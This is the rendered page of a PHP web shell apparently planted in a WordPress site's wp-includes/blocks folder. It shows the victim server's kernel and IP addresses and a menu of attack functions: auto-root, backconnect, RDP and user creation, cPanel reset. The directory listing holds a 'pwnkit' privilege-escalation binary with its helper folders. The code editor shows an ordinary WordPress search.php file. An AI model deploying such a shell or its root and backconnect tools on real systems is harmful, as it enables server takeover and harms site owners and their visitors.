Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.70.100.38
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
administrator /
sbs.cy /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
archives
[ DIR ]
drwxr-xr-x
audio
[ DIR ]
drwxr-xr-x
avatar
[ DIR ]
drwxr-xr-x
block
[ DIR ]
drwxr-xr-x
button
[ DIR ]
drwxr-xr-x
buttons
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
categories
[ DIR ]
drwxr-xr-x
code
[ DIR ]
drwxr-xr-x
column
[ DIR ]
drwxr-xr-x
columns
[ DIR ]
drwxr-xr-x
comment-author-name
[ DIR ]
drwxr-xr-x
comment-content
[ DIR ]
drwxr-xr-x
comment-date
[ DIR ]
drwxr-xr-x
comment-edit-link
[ DIR ]
drwxr-xr-x
comment-reply-link
[ DIR ]
drwxr-xr-x
comment-template
[ DIR ]
drwxr-xr-x
comments
[ DIR ]
drwxr-xr-x
comments-pagination
[ DIR ]
drwxr-xr-x
comments-pagination-next
[ DIR ]
drwxr-xr-x
comments-pagination-numbers
[ DIR ]
drwxr-xr-x
comments-pagination-previous
[ DIR ]
drwxr-xr-x
comments-title
[ DIR ]
drwxr-xr-x
cover
[ DIR ]
drwxr-xr-x
details
[ DIR ]
drwxr-xr-x
embed
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
footnotes
[ DIR ]
drwxr-xr-x
freeform
[ DIR ]
drwxr-xr-x
gallery
[ DIR ]
drwxr-xr-x
group
[ DIR ]
drwxr-xr-x
heading
[ DIR ]
drwxr-xr-x
home-link
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
latest-comments
[ DIR ]
drwxr-xr-x
latest-posts
[ DIR ]
drwxr-xr-x
legacy-widget
[ DIR ]
drwxr-xr-x
list
[ DIR ]
drwxr-xr-x
list-item
[ DIR ]
drwxr-xr-x
loginout
[ DIR ]
drwxr-xr-x
media-text
[ DIR ]
drwxr-xr-x
missing
[ DIR ]
drwxr-xr-x
more
[ DIR ]
drwxr-xr-x
navigation
[ DIR ]
drwxr-xr-x
navigation-link
[ DIR ]
drwxr-xr-x
navigation-submenu
[ DIR ]
drwxr-xr-x
nextpage
[ DIR ]
drwxr-xr-x
page-list
[ DIR ]
drwxr-xr-x
page-list-item
[ DIR ]
drwxr-xr-x
paragraph
[ DIR ]
drwxr-xr-x
pattern
[ DIR ]
drwxr-xr-x
post-author
[ DIR ]
drwxr-xr-x
post-author-biography
[ DIR ]
drwxr-xr-x
post-author-name
[ DIR ]
drwxr-xr-x
post-comments-form
[ DIR ]
drwxr-xr-x
post-content
[ DIR ]
drwxr-xr-x
post-date
[ DIR ]
drwxr-xr-x
post-excerpt
[ DIR ]
drwxr-xr-x
post-featured-image
[ DIR ]
drwxr-xr-x
post-navigation-link
[ DIR ]
drwxr-xr-x
post-template
[ DIR ]
drwxr-xr-x
post-terms
[ DIR ]
drwxr-xr-x
post-title
[ DIR ]
drwxr-xr-x
preformatted
[ DIR ]
drwxr-xr-x
pullquote
[ DIR ]
drwxr-xr-x
query
[ DIR ]
drwxr-xr-x
query-no-results
[ DIR ]
drwxr-xr-x
query-pagination
[ DIR ]
drwxr-xr-x
query-pagination-next
[ DIR ]
drwxr-xr-x
query-pagination-numbers
[ DIR ]
drwxr-xr-x
query-pagination-previous
[ DIR ]
drwxr-xr-x
query-title
[ DIR ]
drwxr-xr-x
quote
[ DIR ]
drwxr-xr-x
read-more
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
separator
[ DIR ]
drwxr-xr-x
shortcode
[ DIR ]
drwxr-xr-x
site-logo
[ DIR ]
drwxr-xr-x
site-tagline
[ DIR ]
drwxr-xr-x
site-title
[ DIR ]
drwxr-xr-x
social-link
[ DIR ]
drwxr-xr-x
social-links
[ DIR ]
drwxr-xr-x
spacer
[ DIR ]
drwxr-xr-x
table
[ DIR ]
drwxr-xr-x
tag-cloud
[ DIR ]
drwxr-xr-x
template-part
[ DIR ]
drwxr-xr-x
term-description
[ DIR ]
drwxr-xr-x
text-columns
[ DIR ]
drwxr-xr-x
verse
[ DIR ]
drwxr-xr-x
video
[ DIR ]
drwxr-xr-x
widget-group
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
archives.php
2.89
KB
-rw-r--r--
avatar.php
5.51
KB
-rw-r--r--
block.php
2.99
KB
-rw-r--r--
blocks-json.php
167.85
KB
-rw-r--r--
calendar.php
5.71
KB
-rw-r--r--
categories.php
2.81
KB
-rw-r--r--
comment-author-name.php
2.05
KB
-rw-r--r--
comment-content.php
2.36
KB
-rw-r--r--
comment-date.php
1.56
KB
-rw-r--r--
comment-edit-link.php
1.64
KB
-rw-r--r--
comment-reply-link.php
1.99
KB
-rw-r--r--
comment-template.php
4.35
KB
-rw-r--r--
comments-pagination-next.php
1.81
KB
-rw-r--r--
comments-pagination-numbers.ph...
1.56
KB
-rw-r--r--
comments-pagination-previous.p...
1.61
KB
-rw-r--r--
comments-pagination.php
1.13
KB
-rw-r--r--
comments-title.php
2.67
KB
-rw-r--r--
comments.php
6.47
KB
-rw-r--r--
cover.php
2.45
KB
-rw-r--r--
file.php
2.41
KB
-rw-r--r--
footnotes.php
3.68
KB
-rw-r--r--
gallery.php
6.23
KB
-rw-r--r--
heading.php
1.23
KB
-rw-r--r--
home-link.php
5.51
KB
-rw-r--r--
image.php
10.54
KB
-rw-r--r--
index.php
4.48
KB
-rw-r--r--
latest-comments.php
4.88
KB
-rw-r--r--
latest-posts.php
8.17
KB
-rw-r--r--
legacy-widget.php
3.81
KB
-rw-r--r--
loginout.php
1.35
KB
-rw-r--r--
navigation-link.php
12.88
KB
-rw-r--r--
navigation-submenu.php
8.81
KB
-rw-r--r--
navigation.php
57.24
KB
-rw-r--r--
page-list-item.php
342
B
-rw-r--r--
page-list.php
13.14
KB
-rw-r--r--
pattern.php
2.12
KB
-rw-r--r--
post-author-biography.php
1.41
KB
-rw-r--r--
post-author-name.php
1.71
KB
-rw-r--r--
post-author.php
2.51
KB
-rw-r--r--
post-comments-form.php
2.68
KB
-rw-r--r--
post-content.php
2.07
KB
-rw-r--r--
post-date.php
2.29
KB
-rw-r--r--
post-excerpt.php
3.33
KB
-rw-r--r--
post-featured-image.php
8.83
KB
-rw-r--r--
post-navigation-link.php
4.69
KB
-rw-r--r--
post-template.php
5.52
KB
-rw-r--r--
post-terms.php
3.55
KB
-rw-r--r--
post-title.php
2.03
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query-no-results.php
1.71
KB
-rw-r--r--
query-pagination-next.php
3.6
KB
-rw-r--r--
query-pagination-numbers.php
4.57
KB
-rw-r--r--
query-pagination-previous.php
3.06
KB
-rw-r--r--
query-pagination.php
1.11
KB
-rw-r--r--
query-title.php
2.01
KB
-rw-r--r--
query.php
6.15
KB
-rw-r--r--
read-more.php
1.75
KB
-rw-r--r--
require-dynamic-blocks.php
3.85
KB
-rw-r--r--
require-static-blocks.php
536
B
-rw-r--r--
rss.php
3.83
KB
-rw-r--r--
search.php
22.79
KB
-rw-r--r--
shortcode.php
697
B
-rw-r--r--
site-logo.php
5.79
KB
-rw-r--r--
site-tagline.php
994
B
-rw-r--r--
site-title.php
1.73
KB
-rw-r--r--
social-link.php
62.16
KB
-rw-r--r--
tag-cloud.php
1.37
KB
-rw-r--r--
template-part.php
9.71
KB
-rw-r--r--
term-description.php
1.27
KB
-rw-r--r--
widget-group.php
2.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : search.php
<?php /** * Server-side rendering of the `core/search` block. * * @package WordPress */ /** * Dynamically renders the `core/search` block. * * @since 6.3.0 Using block.json `viewScript` to register script, and update `view_script_handles()` only when needed. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string The search block markup. */ function render_block_core_search( $attributes ) { // Older versions of the Search block defaulted the label and buttonText // attributes to `__( 'Search' )` meaning that many posts contain `<!-- // wp:search /-->`. Support these by defaulting an undefined label and // buttonText to `__( 'Search' )`. $attributes = wp_parse_args( $attributes, array( 'label' => __( 'Search' ), 'buttonText' => __( 'Search' ), ) ); $input_id = wp_unique_id( 'wp-block-search__input-' ); $classnames = classnames_for_block_core_search( $attributes ); $show_label = ( ! empty( $attributes['showLabel'] ) ) ? true : false; $use_icon_button = ( ! empty( $attributes['buttonUseIcon'] ) ) ? true : false; $show_button = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true; $button_position = $show_button ? $attributes['buttonPosition'] : null; $query_params = ( ! empty( $attributes['query'] ) ) ? $attributes['query'] : array(); $button = ''; $query_params_markup = ''; $inline_styles = styles_for_block_core_search( $attributes ); $color_classes = get_color_classes_for_block_core_search( $attributes ); $typography_classes = get_typography_classes_for_block_core_search( $attributes ); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; // Border color classes need to be applied to the elements that have a border color. $border_color_classes = get_border_color_classes_for_block_core_search( $attributes ); // This variable is a constant and its value is always false at this moment. // It is defined this way because some values depend on it, in case it changes in the future. $open_by_default = false; $label_inner_html = empty( $attributes['label'] ) ? __( 'Search' ) : wp_kses_post( $attributes['label'] ); $label = new WP_HTML_Tag_Processor( sprintf( '<label %1$s>%2$s</label>', $inline_styles['label'], $label_inner_html ) ); if ( $label->next_tag() ) { $label->set_attribute( 'for', $input_id ); $label->add_class( 'wp-block-search__label' ); if ( $show_label && ! empty( $attributes['label'] ) ) { if ( ! empty( $typography_classes ) ) { $label->add_class( $typography_classes ); } } else { $label->add_class( 'screen-reader-text' ); } } $input = new WP_HTML_Tag_Processor( sprintf( '<input type="search" name="s" required %s/>', $inline_styles['input'] ) ); $input_classes = array( 'wp-block-search__input' ); if ( ! $is_button_inside && ! empty( $border_color_classes ) ) { $input_classes[] = $border_color_classes; } if ( ! empty( $typography_classes ) ) { $input_classes[] = $typography_classes; } if ( $input->next_tag() ) { $input->add_class( implode( ' ', $input_classes ) ); $input->set_attribute( 'id', $input_id ); $input->set_attribute( 'value', get_search_query() ); $input->set_attribute( 'placeholder', $attributes['placeholder'] ); // If it's interactive, enqueue the script module and add the directives. $is_expandable_searchfield = 'button-only' === $button_position; if ( $is_expandable_searchfield ) { $suffix = wp_scripts_get_suffix(); if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { $module_url = gutenberg_url( '/build/interactivity/search.min.js' ); } wp_register_script_module( '@wordpress/block-library/search', isset( $module_url ) ? $module_url : includes_url( "blocks/search/view{$suffix}.js" ), array( '@wordpress/interactivity' ), defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' ) ); wp_enqueue_script_module( '@wordpress/block-library/search' ); $input->set_attribute( 'data-wp-bind--aria-hidden', '!context.isSearchInputVisible' ); $input->set_attribute( 'data-wp-bind--tabindex', 'state.tabindex' ); // Adding these attributes manually is needed until the Interactivity API // SSR logic is added to core. $input->set_attribute( 'aria-hidden', 'true' ); $input->set_attribute( 'tabindex', '-1' ); } } if ( count( $query_params ) > 0 ) { foreach ( $query_params as $param => $value ) { $query_params_markup .= sprintf( '<input type="hidden" name="%s" value="%s" />', esc_attr( $param ), esc_attr( $value ) ); } } if ( $show_button ) { $button_classes = array( 'wp-block-search__button' ); $button_internal_markup = ''; if ( ! empty( $color_classes ) ) { $button_classes[] = $color_classes; } if ( ! empty( $typography_classes ) ) { $button_classes[] = $typography_classes; } if ( ! $is_button_inside && ! empty( $border_color_classes ) ) { $button_classes[] = $border_color_classes; } if ( ! $use_icon_button ) { if ( ! empty( $attributes['buttonText'] ) ) { $button_internal_markup = wp_kses_post( $attributes['buttonText'] ); } } else { $button_classes[] = 'has-icon'; $button_internal_markup = '<svg class="search-icon" viewBox="0 0 24 24" width="24" height="24"> <path d="M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"></path> </svg>'; } // Include the button element class. $button_classes[] = wp_theme_get_element_class_name( 'button' ); $button = new WP_HTML_Tag_Processor( sprintf( '<button type="submit" %s>%s</button>', $inline_styles['button'], $button_internal_markup ) ); if ( $button->next_tag() ) { $button->add_class( implode( ' ', $button_classes ) ); if ( 'button-only' === $attributes['buttonPosition'] ) { $button->set_attribute( 'data-wp-bind--aria-label', 'state.ariaLabel' ); $button->set_attribute( 'data-wp-bind--aria-controls', 'state.ariaControls' ); $button->set_attribute( 'data-wp-bind--aria-expanded', 'context.isSearchInputVisible' ); $button->set_attribute( 'data-wp-bind--type', 'state.type' ); $button->set_attribute( 'data-wp-on--click', 'actions.openSearchInput' ); // Adding these attributes manually is needed until the Interactivity // API SSR logic is added to core. $button->set_attribute( 'aria-label', __( 'Expand search field' ) ); $button->set_attribute( 'aria-controls', 'wp-block-search__input-' . $input_id ); $button->set_attribute( 'aria-expanded', 'false' ); $button->set_attribute( 'type', 'button' ); } else { $button->set_attribute( 'aria-label', wp_strip_all_tags( $attributes['buttonText'] ) ); } } } $field_markup_classes = $is_button_inside ? $border_color_classes : ''; $field_markup = sprintf( '<div class="wp-block-search__inside-wrapper %s" %s>%s</div>', esc_attr( $field_markup_classes ), $inline_styles['wrapper'], $input . $query_params_markup . $button ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); $form_directives = ''; // If it's interactive, add the directives. if ( $is_expandable_searchfield ) { $aria_label_expanded = __( 'Submit Search' ); $aria_label_collapsed = __( 'Expand search field' ); $form_context = wp_interactivity_data_wp_context( array( 'isSearchInputVisible' => $open_by_default, 'inputId' => $input_id, 'ariaLabelExpanded' => $aria_label_expanded, 'ariaLabelCollapsed' => $aria_label_collapsed, ) ); $form_directives = ' data-wp-interactive="core/search"' . $form_context . 'data-wp-class--wp-block-search__searchfield-hidden="!context.isSearchInputVisible" data-wp-on--keydown="actions.handleSearchKeydown" data-wp-on--focusout="actions.handleSearchFocusout" '; } return sprintf( '<form role="search" method="get" action="%1s" %2s %3s>%4s</form>', esc_url( home_url( '/' ) ), $wrapper_attributes, $form_directives, $label . $field_markup ); } /** * Registers the `core/search` block on the server. */ function register_block_core_search() { register_block_type_from_metadata( __DIR__ . '/search', array( 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); /** * Builds the correct top level classnames for the 'core/search' block. * * @param array $attributes The block attributes. * * @return string The classnames used in the block. */ function classnames_for_block_core_search( $attributes ) { $classnames = array(); if ( ! empty( $attributes['buttonPosition'] ) ) { if ( 'button-inside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-inside'; } if ( 'button-outside' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-outside'; } if ( 'no-button' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__no-button'; } if ( 'button-only' === $attributes['buttonPosition'] ) { $classnames[] = 'wp-block-search__button-only wp-block-search__searchfield-hidden'; } } if ( isset( $attributes['buttonUseIcon'] ) ) { if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) { if ( $attributes['buttonUseIcon'] ) { $classnames[] = 'wp-block-search__icon-button'; } else { $classnames[] = 'wp-block-search__text-button'; } } } return implode( ' ', $classnames ); } /** * This generates a CSS rule for the given border property and side if provided. * Based on whether the Search block is configured to display the button inside * or not, the generated rule is injected into the appropriate collection of * styles for later application in the block's markup. * * @param array $attributes The block attributes. * @param string $property Border property to generate rule for e.g. width or color. * @param string $side Optional side border. The dictates the value retrieved and final CSS property. * @param array $wrapper_styles Current collection of wrapper styles. * @param array $button_styles Current collection of button styles. * @param array $input_styles Current collection of input styles. */ function apply_block_core_search_border_style( $attributes, $property, $side, &$wrapper_styles, &$button_styles, &$input_styles ) { $is_button_inside = isset( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; $path = array( 'style', 'border', $property ); if ( $side ) { array_splice( $path, 2, 0, $side ); } $value = _wp_array_get( $attributes, $path, false ); if ( empty( $value ) ) { return; } if ( 'color' === $property && $side ) { $has_color_preset = str_contains( $value, 'var:preset|color|' ); if ( $has_color_preset ) { $named_color_value = substr( $value, strrpos( $value, '|' ) + 1 ); $value = sprintf( 'var(--wp--preset--color--%s)', $named_color_value ); } } $property_suffix = $side ? sprintf( '%s-%s', $side, $property ) : $property; if ( $is_button_inside ) { $wrapper_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); } else { $button_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); $input_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); } } /** * This adds CSS rules for a given border property e.g. width or color. It * injects rules into the provided wrapper, button and input style arrays for * uniform "flat" borders or those with individual sides configured. * * @param array $attributes The block attributes. * @param string $property Border property to generate rule for e.g. width or color. * @param array $wrapper_styles Current collection of wrapper styles. * @param array $button_styles Current collection of button styles. * @param array $input_styles Current collection of input styles. */ function apply_block_core_search_border_styles( $attributes, $property, &$wrapper_styles, &$button_styles, &$input_styles ) { apply_block_core_search_border_style( $attributes, $property, null, $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'top', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'right', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'bottom', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'left', $wrapper_styles, $button_styles, $input_styles ); } /** * Builds an array of inline styles for the search block. * * The result will contain one entry for shared styles such as those for the * inner input or button and a second for the inner wrapper should the block * be positioning the button "inside". * * @param array $attributes The block attributes. * * @return array Style HTML attribute. */ function styles_for_block_core_search( $attributes ) { $wrapper_styles = array(); $button_styles = array(); $input_styles = array(); $label_styles = array(); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; $show_label = ( isset( $attributes['showLabel'] ) ) && false !== $attributes['showLabel']; // Add width styles. $has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] ); if ( $has_width ) { $wrapper_styles[] = sprintf( 'width: %d%s;', esc_attr( $attributes['width'] ), esc_attr( $attributes['widthUnit'] ) ); } // Add border width and color styles. apply_block_core_search_border_styles( $attributes, 'width', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_styles( $attributes, 'color', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_styles( $attributes, 'style', $wrapper_styles, $button_styles, $input_styles ); // Add border radius styles. $has_border_radius = ! empty( $attributes['style']['border']['radius'] ); if ( $has_border_radius ) { $default_padding = '4px'; $border_radius = $attributes['style']['border']['radius']; if ( is_array( $border_radius ) ) { // Apply styles for individual corner border radii. foreach ( $border_radius as $key => $value ) { if ( null !== $value ) { // Convert camelCase key to kebab-case. $name = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) ); // Add shared styles for individual border radii for input & button. $border_style = sprintf( 'border-%s-radius: %s;', esc_attr( $name ), esc_attr( $value ) ); $input_styles[] = $border_style; $button_styles[] = $border_style; // Add adjusted border radius styles for the wrapper element // if button is positioned inside. if ( $is_button_inside && intval( $value ) !== 0 ) { $wrapper_styles[] = sprintf( 'border-%s-radius: calc(%s + %s);', esc_attr( $name ), esc_attr( $value ), $default_padding ); } } } } else { // Numeric check is for backwards compatibility purposes. $border_radius = is_numeric( $border_radius ) ? $border_radius . 'px' : $border_radius; $border_style = sprintf( 'border-radius: %s;', esc_attr( $border_radius ) ); $input_styles[] = $border_style; $button_styles[] = $border_style; if ( $is_button_inside && intval( $border_radius ) !== 0 ) { // Adjust wrapper border radii to maintain visual consistency // with inner elements when button is positioned inside. $wrapper_styles[] = sprintf( 'border-radius: calc(%s + %s);', esc_attr( $border_radius ), $default_padding ); } } } // Add color styles. $has_text_color = ! empty( $attributes['style']['color']['text'] ); if ( $has_text_color ) { $button_styles[] = sprintf( 'color: %s;', $attributes['style']['color']['text'] ); } $has_background_color = ! empty( $attributes['style']['color']['background'] ); if ( $has_background_color ) { $button_styles[] = sprintf( 'background-color: %s;', $attributes['style']['color']['background'] ); } $has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] ); if ( $has_custom_gradient ) { $button_styles[] = sprintf( 'background: %s;', $attributes['style']['color']['gradient'] ); } // Get typography styles to be shared across inner elements. $typography_styles = esc_attr( get_typography_styles_for_block_core_search( $attributes ) ); if ( ! empty( $typography_styles ) ) { $label_styles [] = $typography_styles; $button_styles[] = $typography_styles; $input_styles [] = $typography_styles; } // Typography text-decoration is only applied to the label and button. if ( ! empty( $attributes['style']['typography']['textDecoration'] ) ) { $text_decoration_value = sprintf( 'text-decoration: %s;', esc_attr( $attributes['style']['typography']['textDecoration'] ) ); $button_styles[] = $text_decoration_value; // Input opts out of text decoration. if ( $show_label ) { $label_styles[] = $text_decoration_value; } } return array( 'input' => ! empty( $input_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $input_styles ) ) ) ) : '', 'button' => ! empty( $button_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $button_styles ) ) ) ) : '', 'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $wrapper_styles ) ) ) ) : '', 'label' => ! empty( $label_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $label_styles ) ) ) ) : '', ); } /** * Returns typography classnames depending on whether there are named font sizes/families . * * @param array $attributes The block attributes. * * @return string The typography color classnames to be applied to the block elements. */ function get_typography_classes_for_block_core_search( $attributes ) { $typography_classes = array(); $has_named_font_family = ! empty( $attributes['fontFamily'] ); $has_named_font_size = ! empty( $attributes['fontSize'] ); if ( $has_named_font_size ) { $typography_classes[] = sprintf( 'has-%s-font-size', esc_attr( $attributes['fontSize'] ) ); } if ( $has_named_font_family ) { $typography_classes[] = sprintf( 'has-%s-font-family', esc_attr( $attributes['fontFamily'] ) ); } return implode( ' ', $typography_classes ); } /** * Returns typography styles to be included in an HTML style tag. * This excludes text-decoration, which is applied only to the label and button elements of the search block. * * @param array $attributes The block attributes. * * @return string A string of typography CSS declarations. */ function get_typography_styles_for_block_core_search( $attributes ) { $typography_styles = array(); // Add typography styles. if ( ! empty( $attributes['style']['typography']['fontSize'] ) ) { $typography_styles[] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $attributes['style']['typography']['fontSize'], ) ) ); } if ( ! empty( $attributes['style']['typography']['fontFamily'] ) ) { $typography_styles[] = sprintf( 'font-family: %s;', $attributes['style']['typography']['fontFamily'] ); } if ( ! empty( $attributes['style']['typography']['letterSpacing'] ) ) { $typography_styles[] = sprintf( 'letter-spacing: %s;', $attributes['style']['typography']['letterSpacing'] ); } if ( ! empty( $attributes['style']['typography']['fontWeight'] ) ) { $typography_styles[] = sprintf( 'font-weight: %s;', $attributes['style']['typography']['fontWeight'] ); } if ( ! empty( $attributes['style']['typography']['fontStyle'] ) ) { $typography_styles[] = sprintf( 'font-style: %s;', $attributes['style']['typography']['fontStyle'] ); } if ( ! empty( $attributes['style']['typography']['lineHeight'] ) ) { $typography_styles[] = sprintf( 'line-height: %s;', $attributes['style']['typography']['lineHeight'] ); } if ( ! empty( $attributes['style']['typography']['textTransform'] ) ) { $typography_styles[] = sprintf( 'text-transform: %s;', $attributes['style']['typography']['textTransform'] ); } return implode( '', $typography_styles ); } /** * Returns border color classnames depending on whether there are named or custom border colors. * * @param array $attributes The block attributes. * * @return string The border color classnames to be applied to the block elements. */ function get_border_color_classes_for_block_core_search( $attributes ) { $border_color_classes = array(); $has_custom_border_color = ! empty( $attributes['style']['border']['color'] ); $has_named_border_color = ! empty( $attributes['borderColor'] ); if ( $has_custom_border_color || $has_named_border_color ) { $border_color_classes[] = 'has-border-color'; } if ( $has_named_border_color ) { $border_color_classes[] = sprintf( 'has-%s-border-color', esc_attr( $attributes['borderColor'] ) ); } return implode( ' ', $border_color_classes ); } /** * Returns color classnames depending on whether there are named or custom text and background colors. * * @param array $attributes The block attributes. * * @return string The color classnames to be applied to the block elements. */ function get_color_classes_for_block_core_search( $attributes ) { $classnames = array(); // Text color. $has_named_text_color = ! empty( $attributes['textColor'] ); $has_custom_text_color = ! empty( $attributes['style']['color']['text'] ); if ( $has_named_text_color ) { $classnames[] = sprintf( 'has-text-color has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class. $classnames[] = 'has-text-color'; } // Background color. $has_named_background_color = ! empty( $attributes['backgroundColor'] ); $has_custom_background_color = ! empty( $attributes['style']['color']['background'] ); $has_named_gradient = ! empty( $attributes['gradient'] ); $has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] ); if ( $has_named_background_color || $has_custom_background_color || $has_named_gradient || $has_custom_gradient ) { $classnames[] = 'has-background'; } if ( $has_named_background_color ) { $classnames[] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } if ( $has_named_gradient ) { $classnames[] = sprintf( 'has-%s-gradient-background', $attributes['gradient'] ); } return implode( ' ', $classnames ); }
Close